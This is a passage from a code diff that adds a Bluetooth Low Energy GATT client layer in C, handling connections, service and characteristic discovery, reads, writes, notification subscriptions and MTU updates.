GATT_CHARACTERISTIC)) { + break; + } + + if (!zblue_uuid2_to_uuid1(&u.uuid, &elem->uuid)) { + continue; + } + + if (!bt_uuid_cmp(&u.uuid, &uuid_ccc.uuid)) { + return elem->handle; + } + } + + return 0; +} + +static struct gatt_instance* gatt_find_instance_by_addr(bt_address_t* addr) +{ + for (int i = 0; i < CONFIG_BLUETOOTH_GATTC_MAX_CONNECTIONS; i++) { + if (!g_gatt_client[i].active) { + continue; + } + + if (memcmp(&g_gatt_client[i].addr, addr, sizeof(bt_address_t)) == 0) { + return &g_gatt_client[i]; + } + } + + return NULL; +} + +static struct gatt_instance* gatt_find_alloc_instance_by_addr(bt_address_t* addr) +{ + struct gatt_instance* instance; + + instance = gatt_find_instance_by_addr(addr); + if (instance) { + return instance; + } + + for (int i = 0; i < CONFIG_BLUETOOTH_GATTC_MAX_CONNECTIONS; i++) { + instance = &g_gatt_client[i]; + + if (!instance->active) { + instance->active = true; + memcpy(&instance->addr, addr, sizeof(bt_address_t)); + return instance; + } + } + + return NULL; +} + +static void gatt_free_instance(bt_address_t* addr) +{ + struct gatt_instance* instance; + + instance = gatt_find_instance_by_addr(addr); + if (!instance) { + BT_LOGE("%s, instance null", __func__); + return; + } + + memset(instance, 0, sizeof(struct gatt_instance)); +} + +static struct gatt_service* gatt_alloc_service_by_addr(bt_address_t* addr) +{ + struct gatt_instance* instance; + + instance = gatt_find_instance_by_addr(addr); + if (!instance) { + BT_LOGE("%s, instance null", __func__); + return NULL; + } + + if (instance->service_size >= CONFIG_GATT_CLIENT_SERVICE_MAX) { + BT_LOGE("%s, service_size:%d overflow", __func__, instance->service_size); + return NULL; + } + + return &instance->service[instance->service_size++]; +} + +static gatt_element_t* gatt_alloc_element_by_addr(bt_address_t* addr) +{ + struct gatt_instance* instance; + + instance = gatt_find_instance_by_addr(addr); + if (!instance) { + BT_LOGE("%s, instance null", __func__); + return NULL; + } + + if (instance->element_size >= CONFIG_GATT_CLIENT_ELEMENT_MAX) { + BT_LOGE("%s, element_size:%d overflow", __func__, instance->element_size); + return NULL; + } + + return &instance->element[instance->element_size++]; +} + +static sal_adapter_req_t* sal_adapter_req(bt_controller_id_t id, bt_address_t* addr, sal_func_t func) +{ + sal_adapter_req_t* req = calloc(sizeof(sal_adapter_req_t), 1); + + if (req) { + req->id = id; + req->func = func; + if (addr) + memcpy(&req->addr, addr, sizeof(bt_address_t)); + } + + return req; +} + +static void sal_invoke_async(service_work_t* work, void* userdata) +{ + sal_adapter_req_t* req = userdata; + + SAL_ASSERT(req); + req->func(req); + free(userdata); +} + +static bt_status_t sal_send_req(sal_adapter_req_t* req) +{ + if (!req) { + BT_LOGE("%s, req null", __func__); + return BT_STATUS_PARM_INVALID; + } + + if (!service_loop_work((void*)req, sal_invoke_async, NULL)) { + BT_LOGE("%s, service_loop_work failed", __func__); + free(req); + return BT_STATUS_FAIL; + } + + return BT_STATUS_SUCCESS; +} + +static void STACK_CALL(conn_connect)(void* args) +{ + sal_adapter_req_t* req = args; + bt_addr_le_t address = { 0 }; + struct bt_conn* conn = NULL; + int err; + + if (le_conn_set_role(&req->addr, GATT_ROLE_CLIENT) != BT_STATUS_SUCCESS) { + return; + } + + address.type = req->addr_type; + memcpy(&address.a, &req->addr, sizeof(address.a)); + + err = bt_conn_le_create(&address, BT_CONN_LE_CREATE_CONN, BT_LE_CONN_PARAM_DEFAULT, &conn); + if (err) { + le_conn_remove(&req->addr); + BT_LOGE("%s, failed to create connection (%d)", __func__, err); + return; + } +} + +bt_status_t bt_sal_gatt_client_connect(bt_controller_id_t id, bt_address_t* addr, ble_addr_type_t addr_type) +{ + sal_adapter_req_t* req; + uint8_t type; + + req = sal_adapter_req(id, addr, STACK_CALL(conn_connect)); + if (!req) { + BT_LOGE("%s, req null", __func__) + return BT_STATUS_NOMEM; + } + + switch (addr_type) { + case BT_LE_ADDR_TYPE_PUBLIC: + type = BT_ADDR_LE_PUBLIC; + break; + case BT_LE_ADDR_TYPE_RANDOM: + type = BT_ADDR_LE_RANDOM; + break; + case BT_LE_ADDR_TYPE_PUBLIC_ID: + type = BT_ADDR_LE_PUBLIC_ID; + break; + case BT_LE_ADDR_TYPE_RANDOM_ID: + type = BT_ADDR_LE_RANDOM_ID; + break; + case BT_LE_ADDR_TYPE_ANONYMOUS: + type = BT_ADDR_LE_ANONYMOUS; + break; + case BT_LE_ADDR_TYPE_UNKNOWN: + type = BT_ADDR_LE_RANDOM; + break; + default: + BT_LOGE("%s, invalid type:%d", __func__, addr_type); + assert(0); + } + + BT_LOGD("%s, addr_type:%d, type:%d", __func__, addr_type, type); + req->addr_type = type; + + return sal_send_req(req); +} + +static void STACK_CALL(conn_disconnect)(void* args) +{ + sal_adapter_req_t* req = args; + struct bt_conn* conn; + int err; + + conn = get_le_conn_from_addr(&req->addr); + if (!conn) { + BT_LOGE("%s, conn null", __func__); + return; + } + + err = bt_conn_disconnect(conn, BT_HCI_ERR_REMOTE_USER_TERM_CONN); + if (err) { + BT_LOGE("%s, disconnect fail err:%d", __func__, err); + return; + } +} + +bt_status_t bt_sal_gatt_client_disconnect(bt_controller_id_t id, bt_address_t* addr) +{ + sal_adapter_req_t* req; + + req = sal_adapter_req(id, addr, STACK_CALL(conn_disconnect)); + if (!req) { + BT_LOGE("%s, req null", __func__); + return BT_STATUS_NOMEM; + } + + return sal_send_req(req); +} + +static bool zblue_uuid2_to_uuid1(struct bt_uuid* u1, const bt_uuid_t* u2) +{ + if (!bt_uuid_create(u1, (uint8_t*)&u2->val, u2->type)) { + BT_LOGE("%s, uuid convert fail", __func__); + return false; + } + + return true; +} + +static bool zblue_uuid1_to_uuid2(const struct bt_uuid* u1, bt_uuid_t* u2) +{ + if (u1->type == BT_UUID_TYPE_16) { + u2->type = BT_UUID16_TYPE; + memcpy(&u2->val, &BT_UUID_16(u1)->val, 2); + } else if (u1->type == BT_UUID_TYPE_32) { + u2->type = BT_UUID32_TYPE; + memcpy(&u2->val, &BT_UUID_32(u1)->val, 4); + } else if (u1->type == BT_UUID_TYPE_128) { + u2->type = BT_UUID128_TYPE; + memcpy(&u2->val, BT_UUID_128(u1)->val, 16); + } else { + BT_LOGE("%s, invalid type:%d", __func__, u1->type); + return false; + } + + return true; +} + +static uint8_t zblue_gatt_client_disc_desc_callback(struct bt_conn* conn, const struct bt_gatt_attr* attr, + struct bt_gatt_discover_params* params) +{ + struct gatt_instance* instance; + struct gatt_service* service; + gatt_element_t* element; + bt_address_t addr; + uint16_t start_HDL, end_HDL; + + get_le_addr_from_conn(conn, &addr); + instance = gatt_find_instance_by_addr(&addr); + if (!instance) { + BT_LOGE("%s, instance null", __func__); + return BT_GATT_ITER_STOP; + } + + if (!attr) { +#ifdef CONFIG_GATT_CLIENT_LOG + BT_LOGD("%s, descriptor discovery finished for service_idx:%d", __func__, instance->service_idx); +#endif + + if (gatt_is_service_discovery_complete(instance)) { + + if (instance->service_idx < instance->service_size) { + uint8_t base = instance->current_element_base_idx; + uint8_t size = instance->element_size - base; + + if_gattc_on_service_discovered(&instance->addr, &instance->element[base], size); + + service = &instance->service[instance->service_idx]; + instance->current_element_base_idx = instance->element_size; + + /* Save new service declaration */ + element = gatt_alloc_element_by_addr(&addr); + if (element) { + element->handle = service->start_handle; + memcpy(&element->uuid, &service->uuid, sizeof(bt_uuid_t)); + element->type = BT_GATT_DISCOVER_PRIMARY; + element->properties = 0; + element->permissions = 0; + } + zblue_gatt_client_discover_include_service(conn, NULL, service->start_handle, service->end_handle); + } else { +#ifdef CONFIG_GATT_CLIENT_LOG + BT_LOGD("%s, all services discovered", __func__); +#endif + uint8_t base = instance->current_element_base_idx; + uint8_t size = instance->element_size - base; + + if_gattc_on_service_discovered(&instance->addr, &instance->element[base], size); + if_gattc_on_discover_completed(&addr, GATT_STATUS_SUCCESS); + gatt_discover_cleanup(instance); + } + return BT_GATT_ITER_STOP; + } + + iter: + service = &instance->service[instance->service_idx]; + + element = gatt_alloc_element_by_addr(&addr); + if (!element) { + BT_LOGE("%s, alloc element fail", __func__); + return BT_GATT_ITER_STOP; + } + element->type = BT_GATT_DISCOVER_CHARACTERISTIC; + element->handle = instance->element_char[instance->element_char_idx].value_handle; + element->properties = instance->element_char[instance->element_char_idx].properties; + memcpy(&element->uuid, &instance->element_char[instance->element_char_idx].uuid, sizeof(bt_uuid_t)); + + start_HDL = instance->element_char[instance->element_char_idx++].value_handle + 1; + + if (instance->element_char_idx < instance->element_char_size) { + end_HDL = instance->element_char[instance->element_char_idx].decl_handle - 1; + } else { + end_HDL = service->end_handle; + instance->element_char_idx = 0; + instance->element_char_size = 0; + instance->service_idx++; + } + + if (start_HDL <= end_HDL) { + zblue_gatt_client_discover_descriptor(conn, NULL, start_HDL, end_HDL); + } else if (gatt_is_service_discovery_complete(instance)) { + + if (instance->service_idx < instance->service_size) { + uint8_t base = instance->current_element_base_idx; + uint8_t size = instance->element_size - base; + + if_gattc_on_service_discovered(&instance->addr, &instance->element[base], size); + + service = &instance->service[instance->service_idx]; + instance->current_element_base_idx = instance->element_size; + + /* Save new service declaration */ + element = gatt_alloc_element_by_addr(&addr); + if (element) { + element->handle = service->start_handle; + memcpy(&element->uuid, &service->uuid, sizeof(bt_uuid_t)); + element->type = BT_GATT_DISCOVER_PRIMARY; + element->properties = 0; + element->permissions = 0; + } + zblue_gatt_client_discover_chrc(conn, NULL, service->start_handle, service->end_handle); + } else { +#ifdef CONFIG_GATT_CLIENT_LOG + BT_LOGD("%s, all services discovered", __func__); +#endif + uint8_t base = instance->current_element_base_idx; + uint8_t size = instance->element_size - base; + + if_gattc_on_service_discovered(&instance->addr, &instance->element[base], size); + if_gattc_on_discover_completed(&addr, GATT_STATUS_SUCCESS); + gatt_discover_cleanup(instance); + } + + return BT_GATT_ITER_STOP; + } else { + goto iter; + } + return BT_GATT_ITER_STOP; + } + +#ifdef CONFIG_GATT_CLIENT_LOG + BT_LOGD("%s, [DESCRIPTOR] handle 0x%04X", __func__, attr->handle); +#endif + + element = gatt_alloc_element_by_addr(&addr); + if (!element) { + BT_LOGE("%s, alloc element fail", __func__); + return BT_GATT_ITER_STOP; + } + + element->type = params->type; + element->handle = attr->handle; + element->properties = 0; + element->permissions = attr->perm; + + zblue_uuid1_to_uuid2(attr->uuid, &element->uuid); + + return BT_GATT_ITER_CONTINUE; +} + +static uint8_t zblue_gatt_client_disc_chrc_callback(struct bt_conn* conn, const struct bt_gatt_attr* attr, + struct bt_gatt_discover_params* params) +{ + struct bt_gatt_chrc* data; + struct gatt_instance* instance; + struct gatt_service* service; + gatt_element_t* element; + bt_address_t addr; + uint16_t start_HDL, end_HDL; + + get_le_addr_from_conn(conn, &addr); + + instance = gatt_find_instance_by_addr(&addr); + if (!instance) { + BT_LOGE("%s, instance null", __func__); + bt_sal_gatt_client_disconnect(PRIMARY_ADAPTER, &addr); + return BT_GATT_ITER_STOP; + } + + if (!attr) { +#ifdef CONFIG_GATT_CLIENT_LOG + BT_LOGD("%s, finished discovering characteristics for service_idx:%d", __func__, instance->service_idx); +#endif + service = &instance->service[instance->service_idx]; + + iter: + element = gatt_alloc_element_by_addr(&addr); + if (!element) { + BT_LOGE("%s, alloc element fail", __func__); + bt_sal_gatt_client_disconnect(PRIMARY_ADAPTER, &addr); + return BT_GATT_ITER_STOP; + } + + element->type = BT_GATT_DISCOVER_CHARACTERISTIC; + element->handle = instance->element_char[instance->element_char_idx].value_handle; + element->properties = instance->element_char[instance->element_char_idx].properties; + memcpy(&element->uuid, &instance->element_char[instance->element_char_idx].uuid, sizeof(bt_uuid_t)); + + start_HDL = instance->element_char[instance->element_char_idx++].value_handle + 1; + + if (instance->element_char_idx < instance->element_char_size) { + end_HDL = instance->element_char[instance->element_char_idx].decl_handle - 1; + } else { + end_HDL = service->end_handle; + instance->element_char_idx = 0; + instance->element_char_size = 0; + instance->service_idx++; + } + + if (start_HDL <= end_HDL) { + zblue_gatt_client_discover_descriptor(conn, NULL, start_HDL, end_HDL); + } else if (gatt_is_service_discovery_complete(instance)) { + if (instance->service_idx < instance->service_size) { + uint8_t base = instance->current_element_base_idx; + uint8_t size = instance->element_size - base; + + if_gattc_on_service_discovered(&instance->addr, &instance->element[base], size); + + instance->current_element_base_idx = instance->element_size; + service = &instance->service[instance->service_idx]; + /* Save new service declaration */ + element = gatt_alloc_element_by_addr(&addr); + if (element) { + element->handle = service->start_handle; + memcpy(&element->uuid, &service->uuid, sizeof(bt_uuid_t)); + element->type = BT_GATT_DISCOVER_PRIMARY; + element->properties = 0; + element->permissions = 0; + zblue_gatt_client_discover_include_service(conn, NULL, service->start_handle, service->end_handle); + } + } else { +#ifdef CONFIG_GATT_CLIENT_LOG + BT_LOGD("%s, all services discovered", __func__); +#endif + uint8_t base = instance->current_element_base_idx; + uint8_t size = instance->element_size - base; + + if_gattc_on_service_discovered(&instance->addr, &instance->element[base], size); + if_gattc_on_discover_completed(&addr, GATT_STATUS_SUCCESS); + gatt_discover_cleanup(instance); + } + return BT_GATT_ITER_STOP; + } else { + goto iter; + } + return BT_GATT_ITER_STOP; + } + +#ifdef CONFIG_GATT_CLIENT_LOG + BT_LOGD("%s, [CHAR] handle 0x%04X", __func__, attr->handle); +#endif + + data = attr->user_data; + + if (instance->element_char_size >= CONFIG_GATT_CLIENT_CHAR_PER_SERVICE_MAX) { + BT_LOGE("%s, too many chars", __func__); + bt_sal_gatt_client_disconnect(PRIMARY_ADAPTER, &addr); + return BT_GATT_ITER_STOP; + } + + gatt_element_char_t* ch = &instance->element_char[instance->element_char_size++]; + ch->decl_handle = attr->handle; + ch->value_handle = data->value_handle; + ch->properties = data->properties; + zblue_uuid1_to_uuid2(data->uuid, &ch->uuid); + + return BT_GATT_ITER_CONTINUE; +} + +static uint8_t zblue_gatt_client_disc_service_callback(struct bt_conn* conn, const struct bt_gatt_attr* attr, + struct bt_gatt_discover_params* params) +{ + struct bt_gatt_service_val* data; + struct gatt_instance* instance; + struct gatt_service* service; + bt_address_t addr; + + get_le_addr_from_conn(conn, &addr); + + instance = gatt_find_alloc_instance_by_addr(&addr); + if (!instance) { + BT_LOGE("%s, instance find alloc fail", __func__); + bt_sal_gatt_client_disconnect(PRIMARY_ADAPTER, &addr); + return BT_GATT_ITER_STOP; + } + + if (!attr) { +#ifdef CONFIG_GATT_CLIENT_LOG + BT_LOGD("%s, start discovery service finished, start discovery char service_idx:%d", + __func__, instance->service_idx); +#endif + + service = &instance->service[instance->service_idx]; + + /* Saving current first service in elements table */ + gatt_element_t* element = gatt_alloc_element_by_addr(&addr); + if (element) { + element->handle = service->start_handle; + memcpy(&element->uuid, &service->uuid, sizeof(bt_uuid_t)); + element->type = BT_GATT_DISCOVER_PRIMARY; + element->properties = 0; + element->permissions = 0; + } + + zblue_gatt_client_discover_include_service(conn, NULL, service->start_handle, service->end_handle); + return BT_GATT_ITER_STOP; + } + +#ifdef CONFIG_GATT_CLIENT_LOG + BT_LOGD("%s, [SERVICE] handle 0x%04X", __func__, attr->handle); +#endif + + service = gatt_alloc_service_by_addr(&addr); + if (!service) { + BT_LOGE("%s, alloc service fail", __func__); + bt_sal_gatt_client_disconnect(PRIMARY_ADAPTER, &addr); + return BT_GATT_ITER_STOP; + } + + data = attr->user_data; + service->start_handle = attr->handle; + service->end_handle = data->end_handle; + zblue_uuid1_to_uuid2(data->uuid, &service->uuid); + + return BT_GATT_ITER_CONTINUE; +} + +static uint8_t zblue_gatt_client_disc_include_callback(struct bt_conn* conn, + const struct bt_gatt_attr* attr, + struct bt_gatt_discover_params* params) +{ + struct bt_gatt_include* data; + struct gatt_instance* instance; + struct gatt_service* service; + bt_address_t addr; + + get_le_addr_from_conn(conn, &addr); + + instance = gatt_find_alloc_instance_by_addr(&addr); + if (!instance) { + BT_LOGE("%s, instance find fail", __func__); + bt_sal_gatt_client_disconnect(PRIMARY_ADAPTER, &addr); + return BT_GATT_ITER_STOP; + } + + service = &instance->service[instance->service_idx]; + + if (!attr) { + zblue_gatt_client_discover_chrc(conn, NULL, service->start_handle, service->end_handle); + return BT_GATT_ITER_STOP; + } + + data = attr->user_data; + if (!data) { + BT_LOGW("%s, include user_data null", __func__); + return BT_GATT_ITER_CONTINUE; + } + + BT_LOGD("[INCLUDE] attr 0x%04x -> service 0x%04x - 0x%04x", + attr->handle, data->start_handle, data->end_handle); + + gatt_element_t* element = gatt_alloc_element_by_addr(&addr); + if (element) { + element->handle = attr->handle; + element->type = BT_GATT_DISCOVER_INCLUDE; + element->properties = 0; + element->permissions = 0; + zblue_uuid1_to_uuid2(data->uuid, &element->uuid); + } + + return BT_GATT_ITER_CONTINUE; +} + +static bt_status_t zblue_gatt_client_discover_descriptor(struct bt_conn* conn, const struct bt_uuid* uuid, + uint16_t start_handle, uint16_t end_handle) +{ + static struct bt_gatt_discover_params desc_params = { 0 }; + + memset(&desc_params, 0, sizeof(desc_params)); + desc_params.uuid = uuid; + desc_params.start_handle = start_handle; + desc_params.end_handle = end_handle; + desc_params.type = BT_GATT_DISCOVER_DESCRIPTOR; + desc_params.func = zblue_gatt_client_disc_desc_callback; + +#ifdef CONFIG_GATT_CLIENT_LOG + BT_LOGD("%s, element search: type=0x%02X, start handle=0x%04X, end handle=0x%04X", __func__, + desc_params.type, desc_params.start_handle, desc_params.end_handle); +#endif + + if (bt_gatt_discover(conn, &desc_params) < 0) { + BT_LOGE("%s, descriptor discovery failed", __func__); + return BT_STATUS_FAIL; + } + + return BT_STATUS_SUCCESS; +} + +static bt_status_t zblue_gatt_client_discover_chrc(struct bt_conn* conn, const struct bt_uuid* uuid, + uint16_t start_handle, uint16_t end_handle) +{ + static struct bt_gatt_discover_params discover_params = { 0 }; + + discover_params.uuid = uuid; + discover_params.start_handle = start_handle; + discover_params.end_handle = end_handle; + discover_params.type = BT_GATT_DISCOVER_CHARACTERISTIC; + discover_params.func = zblue_gatt_client_disc_chrc_callback; + +#ifdef CONFIG_GATT_CLIENT_LOG + BT_LOGD("%s, element search: type=0x%02X, start handle=0x%04X, end handle=0x%04X", __func__, + discover_params.type, discover_params.start_handle, discover_params.end_handle); +#endif + + if (bt_gatt_discover(conn, &discover_params) < 0) { + BT_LOGE("%s, gatt discovery fail", __func__); + return BT_STATUS_FAIL; + } + + return BT_STATUS_SUCCESS; +} + +static uint8_t gatt_client_read_element_callback(struct bt_conn* conn, uint8_t err, + struct bt_gatt_read_params* params, const void* data, uint16_t length) +{ + struct bt_conn_info info; + bt_address_t addr; + + if (err) { + BT_LOGE("%s, gatt read fail err:%d", __func__, err); + if_gattc_on_element_read(&addr, params->single.handle, (uint8_t*)data, length, BT_STATUS_FAIL); + return BT_GATT_ITER_STOP; + } + + BT_LOGD("%s, [DATA] len:%d, handle:0x%0x", __func__, length, params->single.handle); + lib_dumpbuffer("read element", data, length); + + bt_conn_get_info(conn, &info); + memcpy(&addr, info.le.dst->a.val, sizeof(addr)); + + if_gattc_on_element_read(&addr, params->single.handle, (uint8_t*)data, length, BT_STATUS_SUCCESS); + + return BT_GATT_ITER_STOP; +} + +static void gatt_client_write_cmd_callback(struct bt_conn* conn, uint8_t err, + struct bt_gatt_write_params* params) +{ + struct bt_conn_info info; + bt_address_t addr; + + if (err) { + BT_LOGE("%s, gatt write fail err:%d", __func__, err); + if_gattc_on_element_written(&addr, params->handle, BT_STATUS_FAIL); + free(params); + return; + } + + bt_conn_get_info(conn, &info); + memcpy(&addr, info.le.dst->a.val, sizeof(addr)); + + if_gattc_on_element_written(&addr, params->handle, BT_STATUS_SUCCESS); + + free(params); +} + +static void gatt_client_write_callback(struct bt_conn* conn, void* user_data) +{ + uint16_t* handle = user_data; + struct bt_conn_info info; + bt_address_t addr; + + bt_conn_get_info(conn, &info); + memcpy(&addr, info.le.dst->a.val, sizeof(addr)); + + if_gattc_on_element_written(&addr, *handle, BT_STATUS_SUCCESS); + + free(handle); +} + +static uint8_t bt_gatt_notify_handler(struct bt_conn* conn, struct bt_gatt_subscribe_params* params, + const void* data, uint16_t length) +{ + uint16_t handle; + struct bt_conn_info info; + bt_address_t addr; + + bt_conn_get_info(conn, &info); + memcpy(&addr, info.le.dst->a.val, sizeof(addr)); + + handle = params->value_handle; + if (data == NULL) { + BT_LOGE("[UNSUBSCRIBED] 0x%04X", params->value_handle); + return BT_GATT_ITER_STOP; + } + + if_gattc_on_element_changed(&addr, handle, (uint8_t*)data, length); + return BT_GATT_ITER_CONTINUE; +} + +static void bt_gatt_subscribe_response(struct bt_conn* conn, uint8_t err, + struct bt_gatt_subscribe_params* params) +{ + bt_address_t addr; + + if (get_le_addr_from_conn(conn, &addr) != BT_STATUS_SUCCESS) { + return; + } + + BT_LOGD("%s, err:%d", __func__, err); + + if_gattc_on_element_subscribed(&addr, params->value_handle, err ? BT_STATUS_FAIL : BT_STATUS_SUCCESS, true); +} + +static void bt_gatt_unsubscribe_response(struct bt_conn* conn, uint8_t err, + struct bt_gatt_subscribe_params* params) +{ + bt_address_t addr; + struct gatt_instance* instance; + + if (get_le_addr_from_conn(conn, &addr) != BT_STATUS_SUCCESS) { + return; + } + + BT_LOGD("%s, err:%d", __func__, err); + + if_gattc_on_element_subscribed(&addr, params->value_handle, err ? BT_STATUS_FAIL : BT_STATUS_SUCCESS, false); + + if (err == BT_STATUS_SUCCESS) { + instance = gatt_find_instance_by_addr(&addr); + if (instance) { + gatt_delete_subscribe_slot_by_param(instance, params); + } + } +} + +bt_status_t bt_sal_gatt_client_discover_all_services(bt_controller_id_t id, bt_address_t* addr) +{ + static struct bt_gatt_discover_params disc_params = { 0 }; + struct bt_conn* conn; + int err; + struct gatt_instance* instance; + + conn = get_le_conn_from_addr(addr); + if (!conn) { + BT_LOGE("%s, conn null", __func__); + return BT_STATUS_FAIL; + } + + instance = gatt_find_instance_by_addr(addr); + if (instance) { + gatt_clear_all_subscribe_slots(instance); + } + + disc_params.uuid = NULL; + disc_params.start_handle = BT_ATT_FIRST_ATTRIBUTE_HANDLE; + disc_params.end_handle = BT_ATT_LAST_ATTRIBUTE_HANDLE; + disc_params.type = BT_GATT_DISCOVER_PRIMARY; + disc_params.func = zblue_gatt_client_disc_service_callback; + + err = bt_gatt_discover(conn, &disc_params); + if (err < 0) { + BT_LOGE("%s, gatt discovery fail", __func__); + return BT_STATUS_FAIL; + } + + return BT_STATUS_SUCCESS; +} + +bt_status_t bt_sal_gatt_client_discover_service_by_uuid(bt_controller_id_t id, bt_address_t* addr, bt_uuid_t* uuid) +{ + static struct bt_gatt_discover_params disc_params = { 0 }; + struct bt_conn* conn; + int err; + static union uuid u; + struct gatt_instance* instance; + + conn = get_le_conn_from_addr(addr); + if (!conn) { + BT_LOGE("%s, conn null", __func__); + return BT_STATUS_FAIL; + } + + if (!zblue_uuid2_to_uuid1(&u.uuid, uuid)) { + BT_LOGE("%s, uuid convert fail", __func__); + return BT_STATUS_FAIL; + } + + instance = gatt_find_instance_by_addr(addr); + if (instance) { + gatt_clear_all_subscribe_slots(instance); + } + + disc_params.uuid = &u.uuid; + disc_params.start_handle = BT_ATT_FIRST_ATTRIBUTE_HANDLE; + disc_params.end_handle = BT_ATT_LAST_ATTRIBUTE_HANDLE; + disc_params.type = BT_GATT_DISCOVER_PRIMARY; + disc_params.func = zblue_gatt_client_disc_service_callback; + err = bt_gatt_discover(conn, &disc_params); + if (err < 0) { + BT_LOGE("%s, gatt discovery fail", __func__); + return BT_STATUS_FAIL; + } + + return BT_STATUS_SUCCESS; +} + +static bt_status_t zblue_gatt_client_discover_include_service(struct bt_conn* conn, const struct bt_uuid* uuid, + uint16_t start_handle, uint16_t end_handle) +{ + static struct bt_gatt_discover_params disc_params = { 0 }; + int err; + + disc_params.uuid = NULL; + disc_params.start_handle = start_handle; + disc_params.end_handle = end_handle; + disc_params.type = BT_GATT_DISCOVER_INCLUDE; + disc_params.func = zblue_gatt_client_disc_include_callback; + + err = bt_gatt_discover(conn, &disc_params); + if (err < 0) { + BT_LOGE("%s, bt_gatt_discover(include) fail", __func__); + return BT_STATUS_FAIL; + } + + return BT_STATUS_SUCCESS; +} + +bt_status_t bt_sal_gatt_client_read_element(bt_controller_id_t id, bt_address_t* addr, uint16_t element_id) +{ + static struct bt_gatt_read_params read_params = { 0 }; + struct bt_conn* conn; + int err; + + conn = get_le_conn_from_addr(addr); + if (!conn) { + BT_LOGE("%s, conn null", __func__); + return BT_STATUS_FAIL; + } + + read_params.func = gatt_client_read_element_callback; + read_params.handle_count = 1; + read_params.single.handle = element_id; + read_params.single.offset = 0; + + err = bt_gatt_read(conn, &read_params); + if (err) { + BT_LOGE("%s, gatt read fail err:%d", __func__, err); + return BT_STATUS_FAIL; + } + + return BT_STATUS_SUCCESS; +} + +bt_status_t bt_sal_gatt_client_write_element(bt_controller_id_t id, bt_address_t* addr, uint16_t element_id, uint8_t* value, uint16_t length, gatt_write_type_t write_type) +{ + struct bt_conn* conn; + int err = 0; + + conn = get_le_conn_from_addr(addr); + if (!conn) { + BT_LOGE("%s, conn null", __func__); + return BT_STATUS_FAIL; + } + + switch (write_type) { + case GATT_WRITE_TYPE_RSP: { + struct bt_gatt_write_params* write_params = (struct bt_gatt_write_params*)zalloc(sizeof(struct bt_gatt_write_params)); + if (!write_params) { + return BT_STATUS_NOMEM; + } + + write_params->func = gatt_client_write_cmd_callback; + write_params->handle = element_id; + write_params->data = value; + write_params->length = length; + write_params->offset = 0; + + err = bt_gatt_write(conn, write_params); + if (err) { + BT_LOGE("%s, gatt write fail err:%d", __func__, err); + free(write_params); + return BT_STATUS_FAIL; + } + break; + } + + case GATT_WRITE_TYPE_NO_RSP: { + uint16_t* handle = (uint16_t*)malloc(sizeof(uint16_t)); + if (!handle) { + return BT_STATUS_NOMEM; + } + *handle = element_id; + + err = bt_gatt_write_without_response_cb(conn, element_id, value, length, + false, gatt_client_write_callback, handle); + if (err) { + BT_LOGE("%s, gatt write without rsp fail err:%d", __func__, err); + free(handle); + return BT_STATUS_FAIL; + } + break; + } + +#ifdef CONFIG_BT_SIGNING + case GATT_WRITE_TYPE_SIGNED: { + uint16_t* handle = (uint16_t*)malloc(sizeof(uint16_t)); + if (!handle) { + return BT_STATUS_NOMEM; + } + *handle = element_id; + + err = bt_gatt_write_without_response_cb(conn, element_id, value, length, + true, gatt_client_write_callback, handle); + if (err) { + BT_LOGE("%s, gatt write (signed) fail err:%d", __func__, err); + free(handle); + return BT_STATUS_FAIL; + } + break; + } +#endif + + default: + BT_LOGE("%s, unsupported write_type:%d", __func__, write_type); + return BT_STATUS_NOT_SUPPORTED; + } + + return BT_STATUS_SUCCESS; +} + +bt_status_t bt_sal_gatt_client_register_notifications(bt_controller_id_t id, bt_address_t* addr, uint16_t element_id, uint16_t properties, bool enable) +{ + struct gatt_instance* instance; + struct bt_conn* conn; + int err; + uint16_t ccc_handle; + gatt_subscribe_slot_t* slot; + + if (!(properties & (GATT_PROP_NOTIFY | GATT_PROP_INDICATE))) { + BT_LOGE("%s, invalid properties:0x%04x", __func__, properties); + return BT_STATUS_PARM_INVALID; + } + + BT_LOGD("%s, addr:%s, element_id:0x%0x, properties:0x%0x, enable:%d", __func__, bt_addr_str(addr), element_id, properties, enable); + conn = get_le_conn_from_addr(addr); + if (!conn) { + BT_LOGE("%s, conn null", __func__); + return BT_STATUS_FAIL; + } + + instance = gatt_find_instance_by_addr(addr); + if (!instance) { + BT_LOGE("%s, instance not found", __func__); + return BT_STATUS_FAIL; + } + + ccc_handle = gatt_find_ccc_handle_by_value_handle(instance, element_id); + if (!ccc_handle) { + BT_LOGE("%s, no CCC handle found for element:0x%04x", __func__, element_id); + return BT_STATUS_FAIL; + } + + slot = gatt_get_or_create_subscribe_slot(instance, element_id); + if (!slot) { + BT_LOGE("%s, no slot available", __func__); + return BT_STATUS_FAIL; + } + + if (properties & GATT_PROP_NOTIFY) { + struct bt_gatt_subscribe_params* notify = &slot->notify_params; + + notify->value_handle = element_id; + notify->ccc_handle = ccc_handle; + notify->notify = bt_gatt_notify_handler; + notify->value = BT_GATT_CCC_NOTIFY; + + if (enable) { + notify->subscribe = bt_gatt_subscribe_response; + err = bt_gatt_subscribe(conn, notify); + } else { + notify->subscribe = bt_gatt_unsubscribe_response; + err = bt_gatt_unsubscribe(conn, notify); + } + + if (err) { + BT_LOGE("%s, %s NOTIFY failed, err:%d", __func__, + enable ? "subscribe" : "unsubscribe", err); + return BT_STATUS_FAIL; + } + } + + if (properties & GATT_PROP_INDICATE) { + struct bt_gatt_subscribe_params* indicate = &slot->indicate_params; + + indicate->value_handle = element_id; + indicate->ccc_handle = ccc_handle; + indicate->notify = bt_gatt_notify_handler; + indicate->value = BT_GATT_CCC_INDICATE; + + if (enable) { + indicate->subscribe = bt_gatt_subscribe_response; + err = bt_gatt_subscribe(conn, indicate); + } else { + indicate->subscribe = bt_gatt_unsubscribe_response; + err = bt_gatt_unsubscribe(conn, indicate); + } + + if (err) { + BT_LOGE("%s, %s INDICATE failed, err:%d", __func__, + enable ? "subscribe" : "unsubscribe", err); + return BT_STATUS_FAIL; + } + } + + return BT_STATUS_SUCCESS; +} + +static void zblue_gattc_mtu_updated_callback(struct bt_conn* conn, uint16_t tx, uint16_t rx) +{ + bt_address_t addr; + uint16_t att_mtu = MIN(tx, rx); + uint16_t att_payload = (att_mtu >= 23) ? (att_mtu - 3) : 20; + + get_le_addr_from_conn(conn, &addr); + if_gattc_on_mtu_changed(&addr, att_payload, BT_STATUS_SUCCESS); +} + +static void gatt_exchange_mtu_func(struct bt_conn* conn, uint8_t err, + struct bt_gatt_exchange_params* params) +{ + struct bt_conn_info info; + bt_address_t addr; + uint16_t mtu; + + bt_conn_get_info(conn, &info); + memcpy(&addr, info.le.dst->a.val, sizeof(addr)); + + if (err) { + BT_LOGE("%s, 